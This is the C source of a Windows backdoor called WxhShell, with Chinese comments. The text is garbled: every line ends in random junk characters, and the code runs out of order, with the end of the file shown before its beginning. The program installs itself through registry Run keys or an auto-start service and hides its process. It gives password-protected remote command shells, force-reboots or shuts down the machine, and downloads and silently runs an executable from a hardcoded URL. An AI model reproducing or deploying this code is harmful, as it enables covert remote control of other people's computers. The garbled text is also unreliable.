    send(wsh,msg_ws_err,strlen(msg_ws_err),0); QGWfF,q  
    else { oAMB}a;  
    closesocket(wsh); @V9qbr= Z  
    ExitThread(0); TQcEe@$)  
    } M~6x&|2  
    break; /c`s$h4-  
    } Cb{n4xKW6  
  // 获取shell fnZaIV=H  
  case 's': { SM<kR1bo  
    CmdShell(wsh); f9Vxtd  
    closesocket(wsh); C< :F<[H  
    ExitThread(0); U%Igj:%?;`  
    break; k:+Bex$g  
  } #ny&bJj  
  // 退出 yf2I%\p}  
  case 'x': { 5i 6*$#OM_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); *jBn ^  
    CloseIt(wsh); g_2m["6*  
    break; AADvk_R  
    } :4{;^|RgU  
  // 离开 Uf:G,%OYi  
  case 'q': { V4('}Q!  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5M.KF;P  
    closesocket(wsh); 97$1na3gq  
    WSACleanup(); % d%KH9u  
    exit(1); 1pUIZ$@?`  
    break; !'-|]xx(  
        } !k=>Wb8n2  
  } $U uSrX&  
  } ]^='aQ  
dIOj]5H3F  
  // 提示信息 a ]PS`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Jkc1ih`^  
} Kg#5 @;  
  } NwK(<dzG  
)$# Ku2X  
  return; G(4*e! aZ0  
} WIe2j  
U 0$?:C+?  
// shell模块句柄 /1Xji 0LK  
int CmdShell(SOCKET sock) `kx+Kc  
{ )u. ut8![T  
STARTUPINFO si; [7QIpt+FSo  
ZeroMemory(&si,sizeof(si)); |_Y[93 1<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &"90pBGK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; W6Os|z9&|  
PROCESS_INFORMATION ProcessInfo; G8JwY\  
char cmdline[]="cmd"; }F*u 9E  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); '' @upZBJ  
  return 0; 8a\ Pjk  
} 8:BPXdiK  
n ..9F$a  
// 自身启动模式 )/'y'd<r  
int StartFromService(void) e[3 rz%'Q  
{ x*)@:W!  
typedef struct ~(TS>ck@  
{ ;K'1dsA  
  DWORD ExitStatus; -PHVM=:  
  DWORD PebBaseAddress; B:YUb{CJ  
  DWORD AffinityMask; zLG5m]G4D  
  DWORD BasePriority; 8Nr,Wq  
  ULONG UniqueProcessId; q><E?  
  ULONG InheritedFromUniqueProcessId; ]FJpe^ ua  
}   PROCESS_BASIC_INFORMATION; ^,Sl^ 9K  
Q( WE.ux)<  
PROCNTQSIP NtQueryInformationProcess; K%Sy~6iD&  
t=`bXBX1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~%6GF57gC  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]LvpYRU$P  
w3^>{2iqq  
  HANDLE             hProcess; qlT'gUt=H  
  PROCESS_BASIC_INFORMATION pbi; G3j&8[  
hRn[ 9B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); DqLZc01>  
  if(NULL == hInst ) return 0; :v_H;UU  
[l+1zt0w0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sK#)wjj\^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 9d7$Fz#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); py,B6UB5  
c3\z  
  if (!NtQueryInformationProcess) return 0; |eEcEu?/b  
d83K;Ryd  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ^9})@,(D  
  if(!hProcess) return 0; ^ fo2sN"   
,gR9~k,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; *k$":A  
NqsIMCl  
  CloseHandle(hProcess); p^G:h6|+|  
JRMe( ,u  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B}= WxG|)  
if(hProcess==NULL) return 0; y<|vcg8x  
X-F|&yE~<  
HMODULE hMod; ]jUxL=]r  
char procName[255]; &yKUf  
unsigned long cbNeeded; w[>/(R7im  
{+V1>6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3{mu7 7  
0@R @L}m  
  CloseHandle(hProcess); q4XS E,  
: "[dr~.  
if(strstr(procName,"services")) return 1; // 以服务启动 @"jV^2oY1  
$<)k-Cf  
  return 0; // 注册表启动 4uU G0o  
} H];QDix?  
yNk9KK)  
// 主模块 .Dw^'p>  
int StartWxhshell(LPSTR lpCmdLine) =K<8X!xUW  
{ J$)lYSNE  
  SOCKET wsl; qb+vptg@I  
BOOL val=TRUE; Fe(qf>E  
  int port=0; P^-tGo!  
  struct sockaddr_in door; SwESDo)  
0K -jF5i$`  
  if(wscfg.ws_autoins) Install(); 3P1OyB  
GS^U6Xef  
port=atoi(lpCmdLine); q%u;+/|l  
|w(@a:2 kw  
if(port<=0) port=wscfg.ws_port; LbGyD;#_  
L#'B-G4&y  
  WSADATA data; ^O cM)Z6h  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; W/O&(t  
Z8 \c'xN  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   YuWsE4$  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); C7ZU)MEUd/  
  door.sin_family = AF_INET; LTsG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e[t+pnRh  
  door.sin_port = htons(port); 6x*u S~'  
pn6 e{   
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { z}'*zB>  
closesocket(wsl); ER:)Fk>_  
return 1; 4Fr0/="H  
} lY5a=mwHU  
66"-Xf~u  
  if(listen(wsl,2) == INVALID_SOCKET) { |V2+4b,  
closesocket(wsl); >$]SYF29  
return 1; f#:7$:{F1  
} g;U f?  
  Wxhshell(wsl); i%7b)t[y  
  WSACleanup(); gt5  
b??k|q  
return 0; f`X#1w9  
&xF 2!t`  
} dU]>  
gt3;Xi  
// 以NT服务方式启动 7d0E9t;W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Zy2@1-z6  
{ Dm': D  
DWORD   status = 0; SSANt?\Z<  
  DWORD   specificError = 0xfffffff; g)+45w*+5  
|Ew\Tgo/2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; }hOExTz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 3AWNoXh  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |C9qM  
  serviceStatus.dwWin32ExitCode     = 0; YShtoaCx>  
  serviceStatus.dwServiceSpecificExitCode = 0; ?@ ei_<A{  
  serviceStatus.dwCheckPoint       = 0; H4'xxsx  
  serviceStatus.dwWaitHint       = 0; DCfV  
,*fvA?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); EQ&E C  
  if (hServiceStatusHandle==0) return; Y?Yix   
1MdVWFKXV  
status = GetLastError(); `F:PWG`  
  if (status!=NO_ERROR) ' vO+,-  
{ hia_CuY#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; a_5`9BL  
    serviceStatus.dwCheckPoint       = 0; XJ;kyEx3=O  
    serviceStatus.dwWaitHint       = 0; euHX7  
    serviceStatus.dwWin32ExitCode     = status; }}v04~  
    serviceStatus.dwServiceSpecificExitCode = specificError; OiAi{ 71  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w$*t.Q*  
    return; ;ti{ #(Ux  
  } WY%LeC!t  
.$>?2|gRv  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gP*:>[lR  
  serviceStatus.dwCheckPoint       = 0; 2RD os#  
  serviceStatus.dwWaitHint       = 0; ': Gk~   
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6=]%Y  
} !7SZZz  
,[IN9W  
// 处理NT服务事件,比如:启动、停止 {9KG06%+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) e.eQZ5n~q`  
{ iulM8"P  
switch(fdwControl) yKEE @@}\  
{ KYY~ YP  
case SERVICE_CONTROL_STOP: v2 [ l$  
  serviceStatus.dwWin32ExitCode = 0; #;'1aT  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; _N~h#(  
  serviceStatus.dwCheckPoint   = 0; UO}Kk*  
  serviceStatus.dwWaitHint     = 0; *ms?UFV[r  
  { B[F,D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); x,"'\=|s*  
  } vB, X)  
  return;  hM2^[8  
case SERVICE_CONTROL_PAUSE: 'j];tO6GfC  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; )+[IR  
  break; |MvCEp  
case SERVICE_CONTROL_CONTINUE: xz YvD{>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; JpDc3^B*  
  break; 6vz9r)L  
case SERVICE_CONTROL_INTERROGATE: JZ&]"12]fR  
  break; V ^=o@I  
}; +<Ot@luE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =8 d`qS"  
} ): C4"2l3  
{{ M?+]p,^  
// 标准应用程序主函数 A(#hyb#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .H+`]qLkL  
{ 6/9 A'!4C  
0Ha1pqR  
// 获取操作系统版本 4f~hd-z  
OsIsNt=GetOsVer(); Zk2-U"0\o  
GetModuleFileName(NULL,ExeFile,MAX_PATH); VF=$'Bl|  
u2'xM0nQ  
  // 从命令行安装 >4=sEj  
  if(strpbrk(lpCmdLine,"iI")) Install(); < 2w@5qL  
BvpGP  
  // 下载执行文件 N4"%!.Y  
if(wscfg.ws_downexe) { !8ub3oj)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) =!r9;L,?  
  WinExec(wscfg.ws_filenam,SW_HIDE); elXY*nt8h  
} 0mL#8\'"  
E]6C1C&K  
if(!OsIsNt) { !G3O!]  
// 如果时win9x,隐藏进程并且设置为注册表启动 72} MspzUt  
HideProc(); [Z0&`qz  
StartWxhshell(lpCmdLine); yB(^t`)}N  
}  ' -[  
else d;|Pp;dc  
  if(StartFromService()) (`gqLPx[  
  // 以服务方式启动 ;ej;<7+  
  StartServiceCtrlDispatcher(DispatchTable); vBQ|h  
else :*TfGV  
  // 普通方式启动 h,<%cvU=  
  StartWxhshell(lpCmdLine); i Nf+ -C3  
J=W"FEXTL7  
return 0; a;m-Vu!  
} &| el8;D  
HKx2QFB  
R<)7,i`F  
+Ck<tx3h&  
=========================================== GWRKiTu9  
6w<jg/5t  
NMmk,  
% w 6fB  
Ph2jj,K  
k2N[B(&4J  
" I(ds]E ;_E  
Z6SM7? d  
#include <stdio.h> z^S=ji U++  
#include <string.h> 30g-J(Zg  
#include <windows.h> )Z0pU\  
#include <winsock2.h>  V3K  
#include <winsvc.h> #Zk6   
#include <urlmon.h> ?AX./LI  
# 9Z];<g  
#pragma comment (lib, "Ws2_32.lib") ( du<0J|PT  
#pragma comment (lib, "urlmon.lib") D_`MeqF}C  
tlu-zUsi  
#define MAX_USER   100 // 最大客户端连接数 >f4H<V-  
#define BUF_SOCK   200 // sock buffer )Ve?1?s '8  
#define KEY_BUFF   255 // 输入 buffer 828E^Q"<  
8.Wf^j$+{  
#define REBOOT     0   // 重启 YmFJlMK  
#define SHUTDOWN   1   // 关机 }'a}s0h  
Gr&5 mniu  
#define DEF_PORT   5000 // 监听端口 eiI}:5~ /g  
#A@*k}/+  
#define REG_LEN     16   // 注册表键长度 "n:z("Q*  
#define SVC_LEN     80   // NT服务名长度 >}GtmnF  
vL{sk|2&  
// 从dll定义API X*1vIs;[@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); G%-[vk#]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Af1mTbf=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i[@*b/A  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); {e0cc1Up}  
v/\l  
// wxhshell配置信息 :CNWHF4$  
struct WSCFG { ]$!-%pNv  
  int ws_port;         // 监听端口 {LVii}<  
  char ws_passstr[REG_LEN]; // 口令 { :'#Ts<  
  int ws_autoins;       // 安装标记, 1=yes 0=no `$SX%AZA  
  char ws_regname[REG_LEN]; // 注册表键名 )FGm5-K@  
  char ws_svcname[REG_LEN]; // 服务名 Y~hBVz2g  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 X0+$pJ60  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 rq Dre`m  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 DG}t!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >`Gys8T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3iJ4VL7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q3u P7j  
m^@,0\F  
}; c?"#x-<1s  
5;oWFl  
// default Wxhshell configuration E$=!l{Ms  
struct WSCFG wscfg={DEF_PORT, lNowH0K!D  
    "xuhuanlingzhe", -("sp  
    1, !"j?dQ.U;  
    "Wxhshell", u.x>::i&  
    "Wxhshell", i]a 5cn  
            "WxhShell Service", qd(C%Wk  
    "Wrsky Windows CmdShell Service", oOUL<ihe?  
    "Please Input Your Password: ", ,1EyT>  
  1, u;H SX  
  "http://www.wrsky.com/wxhshell.exe", TZTi:\nS  
  "Wxhshell.exe" i[sHPEml(5  
    }; xCz(qR  
_@;t^j+l  
// 消息定义模块 K[PH#dF5,x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; UUc{1"z{  
char *msg_ws_prompt="\n\r? for help\n\r#>"; R$k4}p  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [U.3rcT"N  
char *msg_ws_ext="\n\rExit."; zMxHJNQ\D  
char *msg_ws_end="\n\rQuit."; wZ6LiYiHl  
char *msg_ws_boot="\n\rReboot..."; |jH- bm  
char *msg_ws_poff="\n\rShutdown..."; kL\ FY  
char *msg_ws_down="\n\rSave to "; S*VG;m #  
?%dsY\  
char *msg_ws_err="\n\rErr!"; ET;YAa*  
char *msg_ws_ok="\n\rOK!"; Xd@  -  
<0g.<n,  
char ExeFile[MAX_PATH]; FY+0r67]  
int nUser = 0; w4P?2-kB  
HANDLE handles[MAX_USER]; .w/w] Eq  
int OsIsNt; Q^>"AhOiU  
/ CEnyE/  
SERVICE_STATUS       serviceStatus; 8+5# FC7  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 9`VgD<?v  
Fy37I/#)r&  
// 函数声明 c1B <9_  
int Install(void); E58fY|9  
int Uninstall(void); N}Q%y(O^  
int DownloadFile(char *sURL, SOCKET wsh); 0Am&:kX't  
int Boot(int flag); uP2e/a  
void HideProc(void); dU<\ FW_  
int GetOsVer(void); jcD_<WSe  
int Wxhshell(SOCKET wsl); ~x^E kE  
void TalkWithClient(void *cs); 2kb<;Eh`G  
int CmdShell(SOCKET sock); E j`  
int StartFromService(void); o|O730"2F  
int StartWxhshell(LPSTR lpCmdLine); z)p( l!  
ui%B|b&&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); rT7W_[&P  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); IA I!a1e!  
Lgp{  hK  
// 数据结构和表定义 OV/H&fe  
SERVICE_TABLE_ENTRY DispatchTable[] = x`~YTOfYk  
{ mrWPTCD{  
{wscfg.ws_svcname, NTServiceMain}, 5IE3[a%X  
{NULL, NULL} k8IhQ{@  
}; sh;DCd  
_W]R|kYl$'  
// 自我安装 (37dD!  
int Install(void) t66Cx  
{ g<U\7Vp\1  
  char svExeFile[MAX_PATH]; NU[{ANbl  
  HKEY key; zGgPW  
  strcpy(svExeFile,ExeFile); -!i1xR (;h  
HR'sMu3  
// 如果是win9x系统,修改注册表设为自启动 P t< JF  
if(!OsIsNt) { PJ}d-   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8 p D$/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); m#6RJbEz  
  RegCloseKey(key); *g7BR`Bt]z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Y\s ge  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EMy>X  
  RegCloseKey(key); @'n07 5)h  
  return 0; h|~I'M]*  
    } JC6?*R  
  } d8D028d  
} "[h9hoN  
else { tSibz l~  
cG!\P:re  
// 如果是NT以上系统,安装为系统服务 R|&jvG=|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); H.ha}0 J  
if (schSCManager!=0) g{PEplk  
{ iW u  
  SC_HANDLE schService = CreateService >s dT=6v  
  ( -)N, HAM>  
  schSCManager, U<<@(d%T  
  wscfg.ws_svcname, ozaM!ee\z  
  wscfg.ws_svcdisp, PU8>.9x  
  SERVICE_ALL_ACCESS, u%m,yPU ~B  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RfoEHN  
  SERVICE_AUTO_START, j-]`;&L  
  SERVICE_ERROR_NORMAL, U]Y</>xGI  
  svExeFile, Yzr)UJl*I  
  NULL, 9-:\ NH^;  
  NULL, [vv $"$z  
  NULL, ,X`w/ 2O  
  NULL, ya3k;j2C  
  NULL YMSZcI  
  ); ,J;Cb}  
  if (schService!=0) @!'rsPrI  
  { a4d7;~tZ  
  CloseServiceHandle(schService); z|Y  Ms?  
  CloseServiceHandle(schSCManager); P{m(.EC_  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); {$>Pg/  
  strcat(svExeFile,wscfg.ws_svcname); ZLI t 3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { c'|](vOd]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5aZbNV}-  
  RegCloseKey(key); i,V,0{$  
  return 0; =D~>$ Y  
    } <n1panS  
  } `\-<tk9  
  CloseServiceHandle(schSCManager); 7l(GBr  
} njxfBA:  
} 9{*$[%d1  
) kMF~S|H  
return 1; 0RZ[]:(  
} Wn%b}{9Fb  
Cer&VMrQK  
// 自我卸载 = Ed0vw  
int Uninstall(void) X 0vcBHh  
{ g1kYL$o4  
  HKEY key; %T6 sm  
<uG6!P  
if(!OsIsNt) { 5Z@0XI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )L/0X40<.  
  RegDeleteValue(key,wscfg.ws_regname); ;kD UQw  
  RegCloseKey(key); \>$3'i=mQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { rP{Jep!  
  RegDeleteValue(key,wscfg.ws_regname); P,J+'.@  
  RegCloseKey(key); =h\unQ1T  
  return 0; 'MgYSP<  
  } c/DK31K  
} O!G!Gq&  
} zm!M'|~@7  
else { 4`e[gvh  
xyD2<?dGUb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^UCH+C yl  
if (schSCManager!=0) G^|!'V  
{ vf5q8/a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d{J@A;d a  
  if (schService!=0) m'zve%G  
  { [XE\2Qa8e  
  if(DeleteService(schService)!=0) { "&:H }Jd  
  CloseServiceHandle(schService); xx@[ecW  
  CloseServiceHandle(schSCManager); i!{A7mo  
  return 0; s(T0lul  
  } Y&<]:)  
  CloseServiceHandle(schService); \RqH"HqD  
  } hd*GDjmRQ/  
  CloseServiceHandle(schSCManager); A.vf)hO  
} BCfmnE4%  
} ,j6 R/sg  
GT7&>}FJ)  
return 1; &\=Tm~  
} U8.V Rn  
7`j%5%q  
// 从指定url下载文件 %M3L<2  
int DownloadFile(char *sURL, SOCKET wsh) ~&aULY?)]  
{ 7gcR/HNeF  
  HRESULT hr; = GyABK  
char seps[]= "/"; h,?%,GI  
char *token; to'CuPkT  
char *file; RFLfvD<  
char myURL[MAX_PATH]; jddhX]>I  
char myFILE[MAX_PATH]; q3v v^~  
G6.lRaPu"m  
strcpy(myURL,sURL); ?b:Pl{?  
  token=strtok(myURL,seps); +T&YYO8>5  
  while(token!=NULL) Pr:\zI  
  { @eM$S5&n$  
    file=token; zO2=o5nF.  
  token=strtok(NULL,seps); %JHv2[r^P  
  } @j!(at4B  
4fIjVx  
GetCurrentDirectory(MAX_PATH,myFILE); L+S)hgUH  
strcat(myFILE, "\\"); #*q]^Is"  
strcat(myFILE, file); nG";?TT  
  send(wsh,myFILE,strlen(myFILE),0); ;\v&4+3S  
send(wsh,"...",3,0); 2F+"v?n=\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^mg:<_p  
  if(hr==S_OK) =;4K5l{c  
return 0; 1c{m rsB  
else }N} Js*  
return 1; 2-DG6\QX|  
U)xebU.!S  
} }h sNsQ   
DZ @B9<Zz{  
// 系统电源模块 dk^jv +  
int Boot(int flag) ] s^7c  
{ v6|j.;  
  HANDLE hToken; )Q62I\  
  TOKEN_PRIVILEGES tkp; {sf ,(.W  
HUMy\u84H  
  if(OsIsNt) { gV-*z}`U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); q1q 9W@H  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); gs3c1Qa3b  
    tkp.PrivilegeCount = 1; pSbtm74  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; fgs@oaoZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o5j6(`#;  
if(flag==REBOOT) { PZQAlO,  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^.R!sQ  
  return 0; eKy!Pai  
} w\MWr+4  
else { 4/%fpU2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h=S7Z:IaM  
  return 0; W+GC3W   
} Vz$xV!  
  } ,p3]`MG  
  else { X4 ] miUmh  
if(flag==REBOOT) { eAo+w*D(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O PzudO  
  return 0; 4D2U,Ds  
} OX'V  
else { Y6&v&dA;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 'YB[4Q /0  
  return 0; PJ; WNo8  
} 5+11J[~{  
} Lu {/"&)  
G^tazAEfo  
return 1; :'B(DzUR  
} <$yA*  
$cK}Tl q  
// win9x进程隐藏模块 :o' |%JE  
void HideProc(void) wgIm{;T[u  
{ #Lpw8b6  
 [Q{\Ik  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %VFoK-a  
  if ( hKernel != NULL ) .Sn{a }XP4  
  { u4IK7[=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); $K!Jm7O\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); -yB}(69  
    FreeLibrary(hKernel); xh bN=L  
  } y%ij)vQY  
jhf# gdz%  
return; HA8A}d~  
} faDS!E' +  
SGSyO0O  
// 获取操作系统版本 0uIY6e0E  
int GetOsVer(void) Y ~g\peG7  
{ jan}}7Dly  
  OSVERSIONINFO winfo; haBmwq(f  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ,|d9lK`"P  
  GetVersionEx(&winfo); _Iminet  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) iMJt8sd  
  return 1; l99Lxgx=  
  else >zqaV@T  
  return 0; j &,Gv@  
} {N>ju  
` @  YV  
// 客户端句柄模块 sBB[u'h!  
int Wxhshell(SOCKET wsl) #lrwKHZ+  
{ X+ITW#  
  SOCKET wsh; 2zqaR[C  
  struct sockaddr_in client; l>K+4  
  DWORD myID; cN0 *<  
1R3,Z8j'  
  while(nUser<MAX_USER) 6`O,mpPu4G  
{ ru@#s2  
  int nSize=sizeof(client); PkrVQH9^w  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 9:4S[mz/hD  
  if(wsh==INVALID_SOCKET) return 1; w.w{L=p:<"  
$*942. =Q  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pdRM%ug   
if(handles[nUser]==0) ?/OF=C#  
  closesocket(wsh); ~*7$aj  
else E+i*u   
  nUser++; o3dqsQE%  
  } )][U6e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ny2 Z <TW  
_i {Y0d+  
  return 0; b'\Q/;oz>  
} Q3ty K{JE  
z^U+ oG  
// 关闭 socket +Q u.86dH  
void CloseIt(SOCKET wsh) M i& ;1!bg  
{ LAlwQ^v|  
closesocket(wsh); >Xk42zvqn  
nUser--; v']_)  
ExitThread(0); oh< -&3Jn  
} +#MXeUX"  
O3@DU#N&s  
// 客户端请求句柄 a5pl/d  
void TalkWithClient(void *cs) vSR&>Q%X  
{ ;:D-}t;  
;.uYWP|9  
  SOCKET wsh=(SOCKET)cs; #+1|O;PB#  
  char pwd[SVC_LEN]; 3/`BK{  
  char cmd[KEY_BUFF]; (p{%]M  
char chr[1]; 8In\Jo$|q>  
int i,j; |-x-CSN  
n7fhc*}:`  
  while (nUser < MAX_USER) { !CUl1L1DSi  
8{jXSCP#  
if(wscfg.ws_passstr) { E%bhd4$G  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ).^d3Kp  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]UkH}Pt'3  
  //ZeroMemory(pwd,KEY_BUFF); UE'=9{o`  
      i=0; ?9()ya-TE  
  while(i<SVC_LEN) { UON=7}=$&  
= g{I`u  
  // 设置超时 `f;w  
  fd_set FdRead; $_"u2"p  
  struct timeval TimeOut; t`z"=S  
  FD_ZERO(&FdRead); 0~fjY^(  
  FD_SET(wsh,&FdRead); 4C=W~6~  
  TimeOut.tv_sec=8; 6^gp /{  
  TimeOut.tv_usec=0; !^% 3  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); FB[b]+t`D{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LG&BWs!  
rJ Jx8)M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cjf[]aNJe`  
  pwd=chr[0]; h.X4x2(.  
  if(chr[0]==0xd || chr[0]==0xa) { i]r(VKX  
  pwd=0; )$:1e)d  
  break; $\BYN=#  
  } Rlewp8?LB  
  i++; !:|*!  
    } ?gMx  
G1z*e.+y  
  // 如果是非法用户,关闭 socket Xj\ToO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :cC$1zv@  
} Q]K` p(  
gsyOf*Q$  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s$Y>nH~T  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gTho:;q7a  
:ZXd%  
while(1) { \EfX3ghPI  
49MEGl;K0\  
  ZeroMemory(cmd,KEY_BUFF); F"] P|   
G]>yk_#/\U  
      // 自动支持客户端 telnet标准   KrpIH6  
  j=0; *&I>3;~%^}  
  while(j<KEY_BUFF) { Ljd`)+`D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |/gt;H~:  
  cmd[j]=chr[0]; xG/Q%A  
  if(chr[0]==0xa || chr[0]==0xd) { J{ju3jo  
  cmd[j]=0; 4f\NtQ)  
  break; W'@ |ob  
  } M- ^I!C  
  j++; H.ZIRt !RB  
    } ^&?,L@fW  
gyvrQ, u  
  // 下载文件 ,0! 2x"Q=  
  if(strstr(cmd,"http://")) { v1:.t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >B{NxL3->  
  if(DownloadFile(cmd,wsh)) ~*Y#Y{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); FW|& iS$  
  else u(f   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t neTOj  
  } q}P@}TE  
  else { <K[y~9u  
63W;N7@  
    switch(cmd[0]) { j*DPW)RkKX  
  LlX)xJ  
  // 帮助 |C4fg6XDL  
  case '?': { ^ #:;6^Su  
